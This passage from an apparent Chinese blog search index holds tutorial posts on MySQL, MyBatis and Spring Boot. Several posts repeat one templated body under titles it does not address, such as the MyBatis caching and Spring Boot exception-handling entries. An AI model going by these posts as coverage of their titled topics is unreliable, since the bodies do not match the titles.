id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-的正确写法"><a href="#MyBatis-动态-SQL-的正确写法" class="headerlink" title="MyBatis 动态 SQL 的正确写法"></a>MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置和链路排查"><a href="#Spring-Boot-日志配置和链路排查" class="headerlink" title="Spring Boot 日志配置和链路排查"></a>Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-参数校验和返回值封装"><a href="#Spring-Boot-参数校验和返回值封装" class="headerlink" title="Spring Boot 参数校验和返回值封装"></a>Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-统一异常处理实践"><a href="#Spring-Boot-统一异常处理实践" class="headerlink" title="Spring Boot 统一异常处理实践"></a>Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-配置分环境的标准做法"><a href="#Spring-Boot-配置分环境的标准做法" class="headerlink" title="Spring Boot 配置分环境的标准做法"></a>Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
